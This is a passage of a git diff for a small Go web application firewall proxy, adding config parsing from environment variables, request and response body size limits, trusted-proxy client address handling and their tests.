UpstreamResponseTimeout time.Duration + // RequestMaxBytes is the largest request body + // (SWWAF_REQUEST_MAX_BYTES). + RequestMaxBytes int64 + // ResponseMaxBytes is the largest response body + // (SWWAF_RESPONSE_MAX_BYTES). + ResponseMaxBytes int64 + + // settings are the values read, as given or by default, for the + // log line at start. + settings []slog.Attr +} + +// off is the value that switches a timeout or a size limit off. +const off = "off" + +const ( + day = 24 * time.Hour + kibibyte = 1 << 10 + mebibyte = 1 << 20 + gibibyte = 1 << 30 +) + +var ( + errNotDuration = errors.New( + "is not a duration such as 90s, 15m or 7d, or off") + errNotSize = errors.New( + "is not a size such as 512K, 100M or 5G, or off") + errNotPositive = errors.New("must be more than zero, or off") + errEmptyItem = errors.New("has an empty item in its list") + errNotNetblock = errors.New( + "is not a netblock such as 10.0.0.0/8, or an address") + errNotListenAddr = errors.New( + "is not an address to listen on, such as :8080") + errNotUpstreamURL = errors.New( + "is not a URL with only a scheme, a host and an optional port, " + + "such as http://127.0.0.1:8081") +) + +// FromEnvironment reads the settings with lookupEnv, normally +// os.LookupEnv. A setting that is not set takes its default. A setting +// that is set but invalid is an error that names it. +func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { + env := &environment{lookupEnv: lookupEnv} + cfg := &Config{ + ListenAddr: env.address("SWWAF_LISTEN_ADDR", ":8080"), + UpstreamURL: env.appURL("SWWAF_UPSTREAM_URL", "http://127.0.0.1:8081"), + TrustedProxies: env.netblocks("SWWAF_TRUSTED_PROXIES", privateRanges), + ClientRequestTimeout: env.duration("SWWAF_CLIENT_REQUEST_TIMEOUT", "60s"), + ClientResponseTimeout: env.duration("SWWAF_CLIENT_RESPONSE_TIMEOUT", "30m"), + UpstreamRequestTimeout: env.duration("SWWAF_UPSTREAM_REQUEST_TIMEOUT", "60s"), + UpstreamResponseTimeout: env.duration("SWWAF_UPSTREAM_RESPONSE_TIMEOUT", "30m"), + RequestMaxBytes: env.size("SWWAF_REQUEST_MAX_BYTES", "100M"), + ResponseMaxBytes: env.size("SWWAF_RESPONSE_MAX_BYTES", "5G"), + } + + if env.err != nil { + return nil, env.err + } + + cfg.settings = env.settings + + return cfg, nil +} + +// privateRanges are the private address ranges, the default trusted +// proxies. +const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16" + +// LogValue makes a Config log as each setting's name with the value it was +// given, or its default. +func (c *Config) LogValue() slog.Value { + return slog.GroupValue(c.settings...) +} + +// environment is where FromEnvironment reads the settings: it notes each +// value for the log, and keeps the first error. +type environment struct { + lookupEnv func(string) (string, bool) + settings []slog.Attr + err error +} + +// value returns a setting's value, or its default when it is not set, +// and notes it for the log. +func (e *environment) value(name, defaultValue string) string { + value, ok := e.lookupEnv(name) + if !ok { + value = defaultValue + } + + e.settings = append(e.settings, slog.String(name, value)) + + return value +} + +// check keeps the first error, naming the setting it is about. +func (e *environment) check(name string, err error) { + if err != nil && e.err == nil { + e.err = fmt.Errorf("%s: %w", name, err) + } +} + +// address reads a setting that is an address to listen on. +func (e *environment) address(name, defaultValue string) string { + address, err := parseListenAddr(e.value(name, defaultValue)) + e.check(name, err) + + return address +} + +// appURL reads a setting that is the app's URL. +func (e *environment) appURL(name, defaultValue string) *url.URL { + upstream, err := parseUpstreamURL(e.value(name, defaultValue)) + e.check(name, err) + + return upstream +} + +// netblocks reads a setting that is a list of netblocks. +func (e *environment) netblocks(name, defaultValue string) []netip.Prefix { + netblocks, err := parseNetblocks(e.value(name, defaultValue)) + e.check(name, err) + + return netblocks +} + +// duration reads a setting that is a duration. +func (e *environment) duration(name, defaultValue string) time.Duration { + duration, err := parseDuration(e.value(name, defaultValue)) + e.check(name, err) + + return duration +} + +// size reads a setting that is a number of bytes. +func (e *environment) size(name, defaultValue string) int64 { + size, err := parseSize(e.value(name, defaultValue)) + e.check(name, err) + + return size +} + +// parseDuration reads a duration in Go's syntax, such as 90s or 15m, a +// whole number of days such as 7d, or off. +func parseDuration(value string) (time.Duration, error) { + if value == off { + return 0, nil + } + + duration, err := durationOrDays(value) + if err != nil { + return 0, fmt.Errorf("%q %w", value, errNotDuration) + } + + if duration <= 0 { + return 0, fmt.Errorf("%q %w", value, errNotPositive) + } + + return duration, nil +} + +// durationOrDays reads Go's duration syntax, or a whole number of days. +func durationOrDays(value string) (time.Duration, error) { + days, isDays := strings.CutSuffix(value, "d") + if !isDays { + return time.ParseDuration(value) + } + + n, err := strconv.ParseInt(days, 10, 64) + if err != nil || n < 0 || n > math.MaxInt64/int64(day) { + return 0, errNotDuration + } + + return time.Duration(n) * day, nil +} + +// parseSize reads a number of bytes with an optional K, M or G suffix, in +// powers of 1024 (1K is 1024 bytes), or off. +func parseSize(value string) (int64, error) { + if value == off { + return 0, nil + } + + number, unit := splitUnit(value) + + n, err := strconv.ParseInt(number, 10, 64) + if err != nil || n > math.MaxInt64/unit { + return 0, fmt.Errorf("%q %w", value, errNotSize) + } + + if n <= 0 { + return 0, fmt.Errorf("%q %w", value, errNotPositive) + } + + return n * unit, nil +} + +// splitUnit splits a size into its number and the bytes its suffix +// stands for. +func splitUnit(value string) (string, int64) { + switch { + case strings.HasSuffix(value, "K"): + return strings.TrimSuffix(value, "K"), kibibyte + case strings.HasSuffix(value, "M"): + return strings.TrimSuffix(value, "M"), mebibyte + case strings.HasSuffix(value, "G"): + return strings.TrimSuffix(value, "G"), gibibyte + default: + return value, 1 + } +} + +// parseList splits a comma-separated list and trims the spaces around +// each item. An empty value is an empty list. +func parseList(value string) ([]string, error) { + if strings.TrimSpace(value) == "" { + return []string{}, nil + } + + items := strings.Split(value, ",") + for i, item := range items { + items[i] = strings.TrimSpace(item) + if items[i] == "" { + return nil, fmt.Errorf("%q %w", value, errEmptyItem) + } + } + + return items, nil +} + +// parseNetblocks reads a comma-separated list of netblocks. +func parseNetblocks(value string) ([]netip.Prefix, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + netblocks := make([]netip.Prefix, 0, len(items)) + + for _, item := range items { + netblock, err := parseNetblock(item) + if err != nil { + return nil, err + } + + netblocks = append(netblocks, netblock) + } + + return netblocks, nil +} + +// parseNetblock reads a netblock in CIDR form, such as 10.0.0.0/8. A bare +// address is a netblock of that address alone, a /32 or a /128. +func parseNetblock(value string) (netip.Prefix, error) { + if strings.Contains(value, "/") { + netblock, err := netip.ParsePrefix(value) + if err != nil { + return netip.Prefix{}, fmt.Errorf("%q %w", value, errNotNetblock) + } + + return netblock.Masked(), nil + } + + addr, err := netip.ParseAddr(value) + if err != nil || addr.Zone() != "" { + return netip.Prefix{}, fmt.Errorf("%q %w", value, errNotNetblock) + } + + return netip.PrefixFrom(addr, addr.BitLen()), nil +} + +// parseListenAddr checks an address to listen on: an optional host and a +// port number. +func parseListenAddr(value string) (string, error) { + _, port, err := net.SplitHostPort(value) + if err != nil { + return "", fmt.Errorf("%q %w", value, errNotListenAddr) + } + + _, err = strconv.ParseUint(port, 10, 16) + if err != nil { + return "", fmt.Errorf("%q %w", value, errNotListenAddr) + } + + return value, nil +} + +// parseUpstreamURL reads the app's URL: http or https, a host and an +// optional port from 1 to 65535, and nothing else, since the request's +// own path and query go to the app unchanged. +func parseUpstreamURL(value string) (*url.URL, error) { + upstream, err := url.Parse(value) + if err != nil { + return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL) + } + + onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") && + upstream.Hostname() != "" && upstream.User == nil && upstream.Opaque == "" && + (upstream.Path == "" || upstream.Path == "/") && + upstream.RawQuery == "" && upstream.Fragment == "" + if !onlySchemeAndHost { + return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL) + } + + if upstream.Port() != "" { + port, err := strconv.ParseUint(upstream.Port(), 10, 16) + if err != nil || port == 0 { + return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL) + } + } + + return upstream, nil +} diff --git a/internal/config/config_test.go b/internal/config/config_test.go new file mode 100644 index 0000000..964ffa1 --- /dev/null +++ b/internal/config/config_test.go @@ -0,0 +1,244 @@ +package config_test + +import ( + "bytes" + "encoding/json" + "log/slog" + "maps" + "net/netip" + "slices" + "strings" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/config" +) + +// The settings, by name. +const ( + listenAddr = "SWWAF_LISTEN_ADDR" + upstreamURL = "SWWAF_UPSTREAM_URL" + trustedProxies = "SWWAF_TRUSTED_PROXIES" + clientRequestTimeout = "SWWAF_CLIENT_REQUEST_TIMEOUT" + clientResponseTimeout = "SWWAF_CLIENT_RESPONSE_TIMEOUT" + upstreamRequestTimeout = "SWWAF_UPSTREAM_REQUEST_TIMEOUT" + upstreamResponseTimeout = "SWWAF_UPSTREAM_RESPONSE_TIMEOUT" + requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES" + responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES" +) + +// off switches a timeout or a size limit off. +const off = "off" + +// environment is a set of environment variables, for FromEnvironment. +type environment map[string]string + +// lookupEnv reads one of the variables, as os.LookupEnv does. +func (e environment) lookupEnv(name string) (string, bool) { + value, ok := e[name] + + return value, ok +} + +// fromEnvironment reads the settings from env, which must be valid. +func fromEnvironment(t *testing.T, env environment) *config.Config { + t.Helper() + + cfg, err := config.FromEnvironment(env.lookupEnv) + if err != nil { + t.Fatalf("settings %v: %v", env, err) + } + + return cfg +} + +func TestDefaults(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{}) + + wantSettings(t, cfg, config.Config{ + ListenAddr: ":8080", + ClientRequestTimeout: time.Minute, + ClientResponseTimeout: 30 * time.Minute, + UpstreamRequestTimeout: time.Minute, + UpstreamResponseTimeout: 30 * time.Minute, + RequestMaxBytes: 100 << 20, + ResponseMaxBytes: 5 << 30, + }) + + if cfg.UpstreamURL.String() != "http://127.0.0.1:8081" { + t.Errorf("%s is %s", upstreamURL, cfg.UpstreamURL) + } + + wantNetblocks(t, cfg.TrustedProxies, + "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") +} + +func TestValuesAsSet(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{ + listenAddr: "127.0.0.1:9000", + upstreamURL: "https://app.internal:8443/", + trustedProxies: " 192.0.2.1, 10.1.2.3/8 ,2001:db8::/32", + clientRequestTimeout: "90s", + clientResponseTimeout: "7d", + upstreamRequestTimeout: "1h30m", + upstreamResponseTimeout: off, + requestMaxBytes: "512K", + responseMaxBytes: "1234", + }) + + wantSettings(t, cfg, config.Config{ + ListenAddr: "127.0.0.1:9000", + ClientRequestTimeout: 90 * time.Second, + ClientResponseTimeout: 7 * 24 * time.Hour, + UpstreamRequestTimeout: 90 * time.Minute, + UpstreamResponseTimeout: 0, + RequestMaxBytes: 512 << 10, + ResponseMaxBytes: 1234, + }) + + if cfg.UpstreamURL.String() != "https://app.internal:8443/" { + t.Errorf("%s is %s", upstreamURL, cfg.UpstreamURL) + } + + wantNetblocks(t, cfg.TrustedProxies, "192.0.2.1/32", "10.0.0.0/8", "2001:db8::/32") +} + +func TestSizesAndOff(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{ + requestMaxBytes: "3G", + responseMaxBytes: off, + clientRequestTimeout: off, + }) + + if cfg.RequestMaxBytes != 3<<30 || cfg.ResponseMaxBytes != 0 || + cfg.ClientRequestTimeout != 0 { + t.Errorf("3G, off and off read as %d, %d and %s", + cfg.RequestMaxBytes, cfg.ResponseMaxBytes, cfg.ClientRequestTimeout) + } +} + +func TestTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{trustedProxies: ""}) + if len(cfg.TrustedProxies) != 0 { + t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies) + } +} + +func TestInvalidValueStopsTheStart(t *testing.T) { + t.Parallel() + + for _, tc := range []struct{ name, value string }{ + {listenAddr, "8080"}, + {listenAddr, ":http"}, + {listenAddr, ":65536"}, + {upstreamURL, "127.0.0.1:8081"}, + {upstreamURL, "ftp://127.0.0.1:8081"}, + {upstreamURL, "http://"}, + {upstreamURL, "http://:8081"}, + {upstreamURL, "http://127.0.0.1:0"}, + {upstreamURL, "http://127.0.0.1:99999"}, + {upstreamURL, "http://127.0.0.1:8081/app"}, + {upstreamURL, "http://127.0.0.1:8081/?a=1"}, + {upstreamURL, "http://user:secret@127.0.0.1:8081"}, + {trustedProxies, "10.0.0.0/33"}, + {trustedProxies, "traefik"}, + {trustedProxies, "10.0.0.0/8,,192.168.0.0/16"}, + {trustedProxies, "fe80::1%eth0"}, + {clientRequestTimeout, "60"}, + {clientRequestTimeout, ""}, + {clientResponseTimeout, "1y"}, + {upstreamRequestTimeout, "-1s"}, + {upstreamResponseTimeout, "0s"}, + {upstreamResponseTimeout, "1.5d"}, + {requestMaxBytes, "100MB"}, + {requestMaxBytes, "100m"}, + {requestMaxBytes, "1.5M"}, + {responseMaxBytes, "0"}, + {responseMaxBytes, "-5"}, + {responseMaxBytes, "99999999999G"}, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + if err == nil { + t.Fatalf("%s=%q was accepted", tc.name, tc.value) + } + + if !strings.HasPrefix(err.Error(), tc.name+": ") { + t.Errorf("error %q does not name %s", err, tc.name) + } + }) + } +} + +func TestLogsEachSettingWithItsValue(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{clientRequestTimeout: "45s"}) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + + var line struct { + Settings map[string]string `json:"settings"` + } + + err := json.Unmarshal(out.Bytes(), &line) + if err != nil { + t.Fatalf("decode %s: %v", out.Bytes(), err) + } + + want := map[string]string{ + listenAddr: ":8080", + upstreamURL: "http://127.0.0.1:8081", + trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", + clientRequestTimeout: "45s", + clientResponseTimeout: "30m", + upstreamRequestTimeout: "60s", + upstreamResponseTimeout: "30m", + requestMaxBytes: "100M", + responseMaxBytes: "5G", + } + if !maps.Equal(line.Settings, want) { + t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) + } +} + +// wantSettings checks the settings that are plain values. +func wantSettings(t *testing.T, got *config.Config, want config.Config) { + t.Helper() + + if got.ListenAddr != want.ListenAddr || + got.ClientRequestTimeout != want.ClientRequestTimeout || + got.ClientResponseTimeout != want.ClientResponseTimeout || + got.UpstreamRequestTimeout != want.UpstreamRequestTimeout || + got.UpstreamResponseTimeout != want.UpstreamResponseTimeout || + got.RequestMaxBytes != want.RequestMaxBytes || + got.ResponseMaxBytes != want.ResponseMaxBytes { + t.Errorf("settings\n%+v\nwant\n%+v", got, want) + } +} + +// wantNetblocks checks a list of netblocks. +func wantNetblocks(t *testing.T, got []netip.Prefix, want ...string) { + t.Helper() + + gotText := make([]string, 0, len(got)) + for _, netblock := range got { + gotText = append(gotText, netblock.String()) + } + + if !slices.Equal(gotText, want) { + t.Errorf("netblocks %v, want %v", gotText, want) + } +} diff --git a/internal/proxy/bodies.go b/internal/proxy/bodies.go new file mode 100644 index 0000000..c9b223f --- /dev/null +++ b/internal/proxy/bodies.go @@ -0,0 +1,171 @@ +package proxy + +import ( + "errors" + "io" + "net/http" + "sync/atomic" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// errResponseTooLarge ends an app's response body that is longer than +// SWWAF_RESPONSE_MAX_BYTES. +var errResponseTooLarge = errors.New( + "the response body is over SWWAF_RESPONSE_MAX_BYTES") + +// requestBody is the client's request body on its way to the app. The +// transport reads it on a goroutine of its own. +type requestBody struct { + // body is the client's body, ending in an *http.MaxBytesError past + // SWWAF_REQUEST_MAX_BYTES. + body io.ReadCloser + rq *request + // waiting is true while a Read waits for the client to send more. + waiting atomic.Bool + // received is true once the client has sent the whole body. + received atomic.Bool + // bytes is how much of the body has been read. + bytes atomic.Int64 +} + +// Read reads from the client's body. +func (b *requestBody) Read(p []byte) (int, error) { + b.waiting.Store(true) + n, err := b.body.Read(p) + b.waiting.Store(false) + b.bytes.Add(int64(n)) + + var tooLarge *http.MaxBytesError + + switch { + case errors.Is(err, io.EOF): + b.received.Store(true) + b.rq.bodyReceived() + case errors.As(err, &tooLarge): + b.rq.refuse(refusal{ + status: http.StatusRequestEntityTooLarge, + action: requestlog.ActionTooLarge, + }) + } + + return n, err +} + +// Close closes the client's body. +func (b *requestBody) Close() error { + return b.body.Close() +} + +// responseBody is the app's response body on its way to the client. +type responseBody struct { + // body is the app's body, ending in an *http.MaxBytesError past + // SWWAF_RESPONSE_MAX_BYTES. + body io.ReadCloser + rq *request +} + +// Read reads from the app's body. +func (b *responseBody) Read(p []byte) (int, error) { + n, err := b.body.Read(p) + if err == nil { + return n, nil + } + + var tooLarge *http.MaxBytesError + + switch { + case errors.Is(err, io.EOF): + b.rq.responseReceived() + case errors.As(err, &tooLarge): + b.rq.refuse(refusal{ + status: http.StatusBadGateway, + action: requestlog.ActionTooLarge, + }) + + return n, errResponseTooLarge + case b.rq.in.Context().Err() == nil: + // The answer broke off, not because the client went away. If a + // timeout cut it, that refusal came first and is the one kept. + b.rq.refuse(refusal{ + status: http.StatusBadGateway, + action: requestlog.ActionUpstreamError, + }) + } + + return n, err +} + +// Close closes the app's body. +func (b *responseBody) Close() error { + return b.body.Close() +} + +// limitBody returns body, cut off with an *http.MaxBytesError after +// maxBytes, or unchanged if maxBytes is zero, which is off. +func limitBody(body io.ReadCloser, maxBytes int64) io.ReadCloser { + if maxBytes == 0 { + return body + } + + // Without a ResponseWriter, MaxBytesReader only counts and cuts off. + return http.MaxBytesReader(nil, body, maxBytes) +} + +// responseWriter is the response to the client. It notes the status and +// size for the log line, and the first error writing to the client. +type responseWriter struct { + http.ResponseWriter + + // status is the final status sent, or zero before one is. + status int + bytes int64 + err error +} + +// WriteHeader sends the status and headers. An informational 1xx status +// is passed on and the final status still comes later. +func (w *responseWriter) WriteHeader(status int) { + if status >= http.StatusOK && w.status == 0 { + w.status = status + } + + w.ResponseWriter.WriteHeader(status) +} + +// Write sends part of the body. +func (w *responseWriter) Write(p []byte) (int, error) { + if w.status == 0 { + w.status = http.StatusOK + } + + n, err := w.ResponseWriter.Write(p) + w.bytes += int64(n) + w.noteError(err) + + return n, err +} + +// FlushError sends what has been written so far. +// http.ResponseController calls it, as ReverseProxy does after each +// write. +func (w *responseWriter) FlushError() error { + err := http.NewResponseController(w.ResponseWriter).Flush() + w.noteError(err) + + return err +} + +// Unwrap lets http.ResponseController reach net/http's own +// ResponseWriter, which is how ReverseProxy takes over the connection of +// an upgraded request. +func (w *responseWriter) Unwrap() http.ResponseWriter { + return w.ResponseWriter +} + +// noteError keeps the first error writing to the client. +func (w *responseWriter) noteError(err error) { + if w.err == nil { + w.err = err + } +} diff --git a/internal/proxy/client.go b/internal/proxy/client.go new file mode 100644 index 0000000..1f9f1e9 --- /dev/null +++ b/internal/proxy/client.go @@ -0,0 +1,101 @@ +package proxy + +import ( + "net/http" + "net/netip" + "slices" + "strings" +) + +// peerAddress is the address of the request's TCP peer, normally traefik. +func peerAddress(r *http.Request) netip.Addr { + addrPort, err := netip.ParseAddrPort(r.RemoteAddr) + if err != nil { + return netip.Addr{} + } + + return addrPort.Addr().Unmap() +} + +// clientAddress works out who the client is. A peer outside the trusted +// proxies is the client, and what it says in X-Forwarded-For is ignored. +// For a peer inside them, X-Forwarded-For is read from the right, and the +// first address outside them is the client; if every address in it is +// inside, the leftmost is, and with no header, the peer. An entry that is +// not an address ends the reading, since nothing to its left can be +// believed. +func clientAddress( + peer netip.Addr, forwardedFor []string, trusted []netip.Prefix, +) netip.Addr { + client := peer + if !isInside(peer, trusted) { + return client + } + + entries := strings.Split(strings.Join(forwardedFor, ","), ",") + for _, entry := range slices.Backward(entries) { + addr, err := netip.ParseAddr(strings.TrimSpace(entry)) + if err != nil { + break + } + + client = addr.Unmap() + if !isInside(client, trusted) { + break + } + } + + return client +} + +// isInside reports whether addr is in one of the netblocks. +func isInside(addr netip.Addr, netblocks []netip.Prefix) bool { + return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool { + return netblock.Contains(addr) + }) +} + +// setForwardedHeaders sets the headers in which the app learns about the +// client, so that it sees what it would see from traefik directly. A +// trusted proxy's forwarded headers pass on, with the proxy's own address +// added to X-Forwarded-For. Those of any other peer are its own claims and +// are replaced: X-Forwarded-For names the peer, X-Forwarded-Host the host +// it asked for, and X-Forwarded-Proto plain http, which is how it reached +// smallwebwaf. +func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) { + forwardedFor := peer.String() + + if trusted { + // ReverseProxy removes these from out before Rewrite. + for _, name := range []string{"Forwarded", "X-Forwarded-Host", "X-Forwarded-Proto"} { + values, ok := in.Header[name] + if ok { + out.Header[name] = values + } + } + + prior := in.Header.Values("X-Forwarded-For") + if len(prior) > 0 { + forwardedFor = strings.Join(prior, ", ") + ", " + forwardedFor + } + + out.Header.Set("X-Forwarded-For", forwardedFor) + + return + } + + // ReverseProxy has removed Forwarded and the three set below; these + // are the other headers in which traefik tells the app about the + // client and its request. + for _, name := range []string{ + "X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri", + "X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert", + "X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip", + } { + out.Header.Del(name) + } + + out.Header.Set("X-Forwarded-For", forwardedFor) + out.Header.Set("X-Forwarded-Host", in.Host) + out.Header.Set("X-Forwarded-Proto", "http") +} diff --git a/internal/proxy/client_test.go b/internal/proxy/client_test.go new file mode 100644 index 0000000..16c48e1 --- /dev/null +++ b/internal/proxy/client_test.go @@ -0,0 +1,161 @@ +package proxy_test + +import ( + "encoding/json" + "net/http" + "testing" +) + +const ( + // trustLocalhost trusts the address every test connects from, and a + // network for proxies in front of it. + trustLocalhost = localhost + "/32,10.0.0.0/8" + // appHost is the host every test asks for. + appHost = "app.example" + // client is the client's address, as a proxy names it. + client = "203.0.113.9" + // forwardedFor is the header that lists the client and its proxies. + forwardedFor = "X-Forwarded-For" + // secure is the scheme a client reached traefik with. + secure = "https" +) + +// appHeaders is what the app tells about the headers it received. +type appHeaders struct { + Host string `json:"host"` + ForwardedFor string `json:"forwardedFor"` + ForwardedHost string `json:"forwardedHost"` + ForwardedProto string `json:"forwardedProto"` + RealIP string `json:"realIp"` +} + +// clientAddressCase is a request and what smallwebwaf makes of it. +type clientAddressCase struct { + name string + env map[string]string + header http.Header + wantClient string + wantApp appHeaders +} + +func TestClientAddressAndForwardedHeaders(t *testing.T) { + t.Parallel() + + for _, tc := range clientAddressCases() { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + got, line := requestWithHeaders(t, tc.env, tc.header) + + tc.wantApp.Host = appHost + if got != tc.wantApp { + t.Errorf("app received %+v, want %+v", got, tc.wantApp) + } + + if line.ClientIP != tc.wantClient || line.PeerIP != localhost { + t.Errorf("log line has client_ip %q and peer_ip %q, want %q and %q", + line.ClientIP, line.PeerIP, tc.wantClient, localhost) + } + }) + } +} + +// clientAddressCases are the requests TestClientAddressAndForwardedHeaders +// sends, from 127.0.0.1, which the default trusted proxies leave out. +func clientAddressCases() []clientAddressCase { + trusted := map[string]string{trustedProxies: trustLocalhost} + forged := http.Header{ + forwardedFor: {client}, + "X-Forwarded-Host": {"forged.example"}, + "X-Forwarded-Proto": {secure}, + "X-Real-Ip": {client}, + } + replaced := appHeaders{ + ForwardedFor: localhost, ForwardedHost: appHost, ForwardedProto: "http", + } + + return []clientAddressCase{{ + name: "a peer outside the trusted proxies is the client, " + + "and its forwarded headers are replaced", + header: forged, wantClient: localhost, wantApp: replaced, + }, { + name: "set but empty, the trusted proxies trust nothing", + env: map[string]string{trustedProxies: ""}, + header: forged, wantClient: localhost, wantApp: replaced, + }, { + name: "behind a trusted peer, the client is the first address " + + "outside the trusted proxies from the right", + env: trusted, + header: http.Header{ + forwardedFor: {"198.51.100.7, " + client + ", 10.0.0.2"}, + "X-Forwarded-Host": {appHost}, + "X-Forwarded-Proto": {secure}, + "X-Real-Ip": {client}, + }, + wantClient: client, + wantApp: appHeaders{ + ForwardedFor: "198.51.100.7, " + client + ", 10.0.0.2, " + localhost, + ForwardedHost: appHost, ForwardedProto: secure, RealIP: client, + }, + }, { + name: "when every address is a trusted proxy, the leftmost is the client", + env: trusted, + header: http.Header{forwardedFor: {"10.0.0.5, 10.0.0.2"}}, + wantClient: "10.0.0.5", + wantApp: appHeaders{ForwardedFor: "10.0.0.5, 10.0.0.2, " + localhost}, + }, { + name: "with no header, a trusted peer is the client", + env: trusted, + wantClient: localhost, + wantApp: appHeaders{ForwardedFor: localhost}, + }, { + name: "an entry that is not an address ends the reading", + env: trusted, + header: http.Header{forwardedFor: {client + ", unknown, 10.0.0.2"}}, + wantClient: "10.0.0.2", + wantApp: appHeaders{ + ForwardedFor: client + ", unknown, 10.0.0.2, " + localhost, + }, + }, { + name: "several header lines are read as one list", + env: trusted, + header: http.Header{forwardedFor: {"2001:db8::7", "10.0.0.2"}}, + wantClient: "2001:db8::7", + wantApp: appHeaders{ForwardedFor: "2001:db8::7, 10.0.0.2, " + localhost}, + }} +} + +// requestWithHeaders sends a request for appHost with header through +// smallwebwaf, with the settings in env, and returns the headers the app +// received and the request's log line. +func requestWithHeaders( + t *testing.T, env map[string]string, header http.Header, +) (appHeaders, logLine) { + t.Helper() + + app := startApp(t, func(w http.ResponseWriter, r *http.Request) { + _ = json.NewEncoder(w).Encode(appHeaders{ + Host: r.Host, + ForwardedFor: r.Header.Get(forwardedFor), + ForwardedHost: r.Header.Get("X-Forwarded-Host"), + ForwardedProto: r.Header.Get("X-Forwarded-Proto"), + RealIP: r.Header.Get("X-Real-Ip"), + }) + }) + addr, out := startProxy(t, app.URL, env) + + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + req.Host = appHost + req.Header = header.Clone() + + answered := do(t, req) + + var got appHeaders + + err := json.Unmarshal(answered.body, &got) + if err != nil { + t.Fatalf("decode the app's answer %q: %v", answered.body, err) + } + + return got, out.requestLine(t) +} diff --git a/internal/proxy/limits_test.go b/internal/proxy/limits_test.go new file mode 100644 index 0000000..b86c4b9 --- /dev/null +++ b/internal/proxy/limits_test.go @@ -0,0 +1,146 @@ +package proxy_test + +import ( + "bytes" + "errors" + "io" + "net/http" + "strconv" + "sync/atomic" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// sizeLimit is the size limit the tests set, 1K as a setting. +const ( + sizeLimit = 1 << 10 + sizeLimitSetting = "1K" +) + +func TestRequestBodyLimit(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + size int + // announced sends the size in Content-Length; otherwise the body + // is sent in chunks with no length given. + announced bool + want int + action string + // refusedBeforeApp is a refusal before anything reaches the app. + // A body over the limit with no length given has already partly + // reached the app when it is refused. + refusedBeforeApp bool + }{ + {"announced, over the limit", 2 * sizeLimit, true, + http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge, true}, + {"announced, at the limit", sizeLimit, true, + http.StatusOK, requestlog.ActionForward, false}, + {"not announced, over the limit", 4 * sizeLimit, false, + http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge, false}, + {"not announced, at the limit", sizeLimit, false, + http.StatusOK, requestlog.ActionForward, false}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + var calls atomic.Int32 + + app := startApp(t, func(_ http.ResponseWriter, r *http.Request) { + calls.Add(1) + + _, _ = io.Copy(io.Discard, r.Body) + }) + addr, out := startProxy(t, app.URL, map[string]string{ + requestMaxBytes: sizeLimitSetting, + }) + + var body io.Reader = bytes.NewReader(make([]byte, tc.size)) + if !tc.announced { + body = io.MultiReader(body) // hides the length + } + + wantStatus(t, do(t, newRequest(t, http.MethodPost, addr, "/upload", body)), + tc.want) + wantLine(t, out.requestLine(t), tc.want, tc.action) + + if tc.refusedBeforeApp && calls.Load() != 0 { + t.Errorf("the app was called %d times, want never", calls.Load()) + } + }) + } +} + +func TestResponseBodyLimit(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + size int + // announced sends the size in Content-Length; otherwise the body + // is sent in chunks with no length given. + announced bool + want int + action string + // received is how much of a body the client gets, and cutOff + // whether the connection is then cut. + received int + cutOff bool + }{ + {"announced, over the limit", 2 * sizeLimit, true, http.StatusBadGateway, + requestlog.ActionTooLarge, len("Bad Gateway\n"), false}, + {"announced, at the limit", sizeLimit, true, http.StatusOK, + requestlog.ActionForward, sizeLimit, false}, + {"not announced, over the limit", 4 * sizeLimit, false, http.StatusOK, + requestlog.ActionTooLarge, sizeLimit, true}, + {"not announced, at the limit", sizeLimit, false, http.StatusOK, + requestlog.ActionForward, sizeLimit, false}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { + answerWithSize(w, tc.size, tc.announced) + }) + addr, out := startProxy(t, app.URL, map[string]string{ + responseMaxBytes: sizeLimitSetting, + }) + + got := get(t, addr, "/download") + wantStatus(t, got, tc.want) + + if len(got.body) != tc.received || + errors.Is(got.err, io.ErrUnexpectedEOF) != tc.cutOff { + t.Errorf("client got %d bytes (%v), want %d", + len(got.body), got.err, tc.received) + } + + line := out.requestLine(t) + wantLine(t, line, tc.want, tc.action) + + if line.UpstreamStatus != http.StatusOK { + t.Errorf("log line has upstream_status %d", line.UpstreamStatus) + } + }) + } +} + +// answerWithSize answers with a body of size bytes, announced in +// Content-Length or sent in chunks with no length given. +func answerWithSize(w http.ResponseWriter, size int, announced bool) { + body := make([]byte, size) + if announced { + w.Header().Set("Content-Length", 